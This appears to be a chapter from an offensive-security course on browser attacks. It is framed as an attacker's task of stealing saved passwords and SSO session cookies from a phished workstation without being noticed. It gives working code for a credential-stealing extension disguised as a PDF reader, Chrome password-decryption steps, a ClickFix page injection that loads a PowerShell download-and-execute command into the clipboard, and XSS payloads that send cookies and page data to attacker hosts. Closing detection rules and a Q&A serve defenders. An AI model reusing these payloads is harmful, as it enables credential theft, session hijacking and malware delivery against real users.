Browser and Web-Based Attacks
Browsers are the largest attack surface on the modern endpoint. They execute arbitrary JavaScript from millions of origins, store credentials, maintain authenticated sessions, and run with user-level privileges that span the same access as the user's files and network connections. Browser-based attacks range from stealing stored credentials to persistent extensions that survives reboots to watering hole exploits that achieve kernel-level code execution via renderer sandbox escapes.
You have initial access via a phishing lure to a single employee workstation. The user's Chrome profile contains credentials for 15 internal web applications. Their browser is authenticated to the corporate SSO (Okta) with a valid session. You need to extract all stored passwords and current session cookies — silently and without triggering AV — and establish persistent access through the browser that survives a reboot.
Malicious Browser Extension
Browser extensions run in a privileged context with access to webRequest API, cookies, stored passwords (via the Password Manager UI), browsing history, and DOM on every page the user visits. A malicious extension installed via enterprise policy or social engineering is one of the highest-value persistence mechanisms available to an attacker.
// manifest.json — Chrome Manifest V3 (required for Chrome Web Store, but
// unpackaged extensions loaded via --load-extension can still use V2)
{
"manifest_version": 3,
"name": "PDF Reader Pro",
"version": "2.1.0",
"description": "Enhanced PDF viewing experience",
"background": { "service_worker": "background.js" },
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}],
"permissions": ["cookies", "tabs", "storage", "webRequest"],
"host_permissions": ["<all_urls>"]
}
// background.js — harvest cookies and exfil periodically
chrome.cookies.getAll({}, function(cookies) {
// Filter session cookies for high-value domains
const targets = ['okta.com', 'microsoft.com', 'github.com'];
const sessionCookies = cookies.filter(c =>
targets.some(t => c.domain.includes(t)) && c.httpOnly === false
);
// Non-httpOnly cookies are accessible; httpOnly=true are only accessible
// to the extension via chrome.cookies API (not to page JS)
fetch('https://collect.attacker[.]com/c', {
method: 'POST',
body: JSON.stringify({cookies: sessionCookies}),
headers: {'Content-Type': 'application/json'}
});
});
// content.js — capture form credentials on page submit
document.addEventListener('submit', e => {
const inputs = e.target.querySelectorAll('input[type=password],input[type=text],input[type=email]');
const data = [...inputs].map(i => ({name: i.name, value: i.value}));
fetch('https://collect.attacker[.]com/f', {
method: 'POST', body: JSON.stringify({url: location.href, fields: data})
});
}, true);
Browser Credential Theft from Disk
// Chrome stores saved passwords in SQLite: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
// Encrypted with DPAPI master key. Encryption key stored in:
// %LOCALAPPDATA%\Google\Chrome\User Data\Local State (JSON, "os_crypt.encrypted_key")
// Key is DPAPI-protected base64 blob. Decrypt with CryptUnprotectData.
// After Chrome 80: AES-256-GCM with DPAPI-wrapped key (same as ch172 coverage).
// Step 1: Read Local State, parse encrypted_key, base64-decode, strip "DPAPI" prefix
// Step 2: CryptUnprotectData → 32-byte AES key
// Step 3: Copy Login Data (Chrome locks it; copy while Chrome is running via VSS or file copy trick)
// Step 4: Open SQLite, query logins table, decrypt password_value with AES-256-GCM
#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")
BOOL DecryptChromePassword(BYTE* aesKey, BYTE* enc, DWORD encLen, BYTE* out, DWORD* outLen) {
// Format: "v10" (3 bytes) + nonce (12 bytes) + ciphertext + tag (16 bytes)
if (encLen < 3 + 12 + 16) return FALSE;
BYTE* nonce = enc + 3;
BYTE* ctext = enc + 3 + 12;
DWORD ctextLen = encLen - 3 - 12;
// AES-256-GCM decrypt using BCrypt or OpenSSL (BCrypt shown conceptually)
// BCryptOpenAlgorithmProvider(hAlg, BCRYPT_AES_ALGORITHM, NULL, 0)
// BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_GCM, ...)
// BCryptGenerateSymmetricKey → BCryptDecrypt with BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
// Full BCrypt GCM implementation: see Windows Cryptography API documentation
return TRUE;
}
Watering Hole Attack
// "ClickFix" social engineering injection — no exploit required.
// Attacker compromises a website and injects this into the page.
// Shows a fake "verify you are human" modal; instructs user to run a command.
// Command is pre-loaded into clipboard via navigator.clipboard.writeText().
document.getElementById('main-content').innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999;display:flex;align-items:center;justify-content:center">
<div style="border:1px solid #ccc;padding:40px;max-width:400px;text-align:center">
<h2>Human Verification Required</h2>
<p>Press <b>Windows Key + R</b>, then <b>Ctrl+V</b>, then press <b>Enter</b></p>
<button onclick="copyCmd()">Copy Verification Code</button>
</div>
</div>
`;
function copyCmd() {
// PowerShell stager is placed in clipboard; user pastes into Run dialog
navigator.clipboard.writeText(
'powershell -ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(\'http://192.168.1.100/s\')"'
);
}
XSS for Data Exfiltration
// Stored XSS in an internal application exfiltrates session data.
// The XSS payload executes in the context of the vulnerable app's origin,
// so it can read document.cookie (if not httpOnly), DOM content,
// and make authenticated API calls using the victim's session.
// Stored XSS payload injected into a comment field:
<img src=x onerror="
var d=encodeURIComponent(document.cookie);
var c=encodeURIComponent(document.body.innerHTML.substring(0,2000));
new Image().src='https://attacker[.]com/x?c='+d+'&p='+c;
">
// More capable: fetch() with POST (more data, no length limit):
<script>
fetch('https://attacker[.]com/collect', {
method: 'POST',
body: JSON.stringify({
url: location.href,
cookies: document.cookie,
localStorage: Object.entries(localStorage),
html: document.body.outerHTML.substring(0,10000)
}),
mode: 'no-cors' // cross-origin POST — no CORS preflight for simple requests
});
</script>
Detection Engineering
title: Suspicious Browser Extension Installed via Policy or Command-Line
logsource:
product: windows
category: registry_set
detection:
chrome_extension_force:
TargetObject|contains:
- 'Software\Policies\Google\Chrome\ExtensionInstallForcelist'
- 'Software\Policies\Microsoft\Edge\ExtensionInstallForcelist'
not_admin_group_policy:
SubjectUserSid|startswith: 'S-1-5-21' # Not SYSTEM or BUILTIN
condition: chrome_extension_force and not_admin_group_policy
level: high
tags: [attack.persistence, T1176]
title: Chrome Login Data File Opened by Non-Browser Process
logsource:
product: windows
category: file_access
detection:
selection:
FileName|endswith: 'Login Data'
FileName|contains: 'Google\Chrome\User Data'
not_browser:
Image|endswith:
- '\chrome.exe'
- '\chrome_crashpad_handler.exe'
condition: selection and not not_browser
level: high
tags: [attack.credential_access, T1555.003]
-- MDE KQL: non-browser access to Chrome credential stores
DeviceFileEvents
| where Timestamp > ago(1d)
| where FolderPath has_all (@"Google\Chrome\User Data", "Login Data")
or FolderPath has_all (@"Google\Chrome\User Data", "Local State")
| where InitiatingProcessFileName !in~ (
"chrome.exe","chrome_crashpad_handler.exe","GoogleCrashHandler.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, FolderPath, FileName
-- MDE KQL: ClickFix pattern — Run dialog spawns PowerShell with encoded command
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "powershell.exe"
| where InitiatingProcessFileName =~ "explorer.exe"
| where ProcessCommandLine has_any ("-enc","-e ","-EncodedCommand","downloadstring","iex")
| where ProcessCommandLine has_any ("-w hidden","-WindowStyle hidden","bypass")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
Q&A
Why can a malicious browser extension read httpOnly cookies when page JavaScript cannot, and what security boundary actually protects against this?
The httpOnly flag on a cookie prevents JavaScript running in a web page from reading that cookie via document.cookie. This is a protection against cross-site scripting (XSS): even if an attacker injects script into a page, they cannot steal the session cookie because document.cookie returns an empty string for httpOnly cookies. This is a browser-enforced boundary between the page rendering context (web content) and the cookie jar.
A browser extension operates in a different security context — it is trusted code installed by the user (or enterprise policy) and runs in the browser's extension process, not in the web content process. Extensions that declare the cookies permission in their manifest can call chrome.cookies.getAll(), which queries the browser's internal cookie store directly — bypassing the httpOnly filtering that applies only to page JavaScript. The extension's chrome.cookies API returns ALL cookies including httpOnly ones because the extension itself is treated as a trusted component of the browser, not as untrusted web content.
The security boundary that actually protects against this is extension installation trust: the browser only grants cookies permission to installed extensions, and installation normally requires user consent or enterprise GPO. There is no technical mechanism that prevents an extension with cookies permission from reading httpOnly cookies — it is an authorization boundary, not a code boundary. This is why enterprise browser security focuses on controlling which extensions are allowed to install (via ExtensionInstallAllowlist policy) and auditing extension permissions rather than relying on the httpOnly flag as a protection against privileged browser-side code.